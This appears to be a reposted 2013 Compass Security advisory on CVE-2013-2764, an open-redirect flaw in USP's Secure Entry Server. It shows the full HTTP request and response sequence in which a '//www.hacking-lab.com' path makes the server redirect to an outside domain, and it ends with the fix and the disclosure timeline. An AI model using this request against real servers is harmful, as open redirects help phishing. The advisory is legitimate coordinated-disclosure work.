USP Secure Entry Server URL Redirection

2013-12-2100:00:00
Alexandre Herzog
packetstormsecurity.com
EPSS
0.001
Percentile
43.9%
JSON
`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
#############################################################  
#  
# Product: Secure Entry Server (SES)  
# Vendor: United Security Providers Ltd.   
# CSNC ID: CSNC-2013-008  
# CVD ID: CVE-2013-2764  
# Subject: URL Redirection  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Alexandre Herzog <[email protected]>  
# Date: 18.12.2013  
#  
#############################################################  
  
  
Introduction:  
-------------  
The USP Secure Entry Server™ protects company networks and business   
transactions with internet access as a Web application firewall (WAF)   
and manages access to data and applications.   
  
The USP Secure Entry Server™ (SES) offers this protection by scanning   
data packages right down to the individual items of content, thus   
reliably safeguarding Web applications and all transactions carried out   
using them. The SES acts as an x-ray scanner for online transactions; it   
identifies data packages infected by viruses and only approves undamaged   
or cleaned data packages for use.[1]   
  
  
Technical Description  
---------------------  
By default, the USP Secure Entry Server is shipped with option   
HSP_AbsoluteRedirects set to off. The consequence is that after a   
successful cookie-check, the server replies with a relative instead of   
an absolute link. The server doesn't detect that relative URLs starting   
with double slash are in fact detected as a valid domain by browsers and   
not just a path on the actual server.   
  
1. Initial request  
GET //www.hacking-lab.com HTTP/1.1  
Host: [victim]  
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
  
2. Server redirect to the cookie check procedure  
HTTP/1.1 302 Found  
Date: Wed, 03 Apr 2013 09:23:56 GMT  
Server: server  
Location: /cookie-check?trg=[long token]  
Set-Cookie: SCDID_S=[session id] path=/; Secure; HttpOnly  
Content-Length: 290  
Content-Type: text/html; charset=iso-8859-1  
Keep-Alive: timeout=65, max=100  
Connection: Keep-Alive  
  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>302 Found</title>  
</head><body>  
<h1>Found</h1>  
<p>The document has moved <a href="/cookie-check?trg=[long token]">here</a>.</p>  
</body></html>  
  
3. As instructed, the browser accesses the cookie check page, proving it   
support cookies:   
GET /cookie-check?trg=[long token] HTTP/1.1  
Host: [victim]  
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: SCDID_S=[session id]  
Connection: keep-alive  
  
4. SES gets the expected request, and redirects the client to the   
initially requested page, but without stripping the double-slashes and   
without forcing a fully qualified domain name for the redirection:   
HTTP/1.1 302 Found  
Date: Wed, 03 Apr 2013 09:23:56 GMT  
Server: server  
Location: //www.hacking-lab.com  
Content-Length: 205  
Content-Type: text/html; charset=iso-8859-1  
Keep-Alive: timeout=65, max=100  
Connection: Keep-Alive  
  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>302 Found</title>  
</head><body>  
<h1>Found</h1>  
<p>The document has moved <a href="//www.hacking-lab.com">here</a>.</p>  
</body></html>  
  
5. The browser doesn't interpret a redirection to //www.hacking-lab.com   
as being http(s)://[victim]//www.hacking-lab.com, but in fact as a   
redirection to http(s)://www.hacking-lab.com. This behavior is RFC   
conform and is well implemented in most current browsers[2]. The client   
gets therefore redirected to another website by the SES.   
  
  
Workaround / Fix:  
-----------------  
Upgrade to the latest available version of SES or ensure option   
HSP_AbsoluteRedirects is set to on (as it's by default in the appliance   
but not the software version), as this would insert the FQDN in the   
response of the server.   
  
  
Timeline:  
---------  
2013-12-18: Coordinated public disclosure date (after 3 months grace period)  
2013-09-18: Release of fixed SES Appliance Version 4.7.0 and HSP Software Version 4.5.0   
2013-04-26: Initial vendor response  
2013-04-23: Initial formal vendor notification based on advisory and CVE-ID  
2013-04-07: Assigned CVE-2013-2764  
2013-04-03: Discovery of the same issue but with a different customer   
2012-09-10: Discussed with a representative of the vendor, which did not consider it as a major issue but customer related  
2012-09-06: Discovery by Alexandre Herzog  
  
  
References:  
-----------  
[1] http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/  
[2] http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash  
`
EPSS
0.001
Percentile
43.9%
JSON
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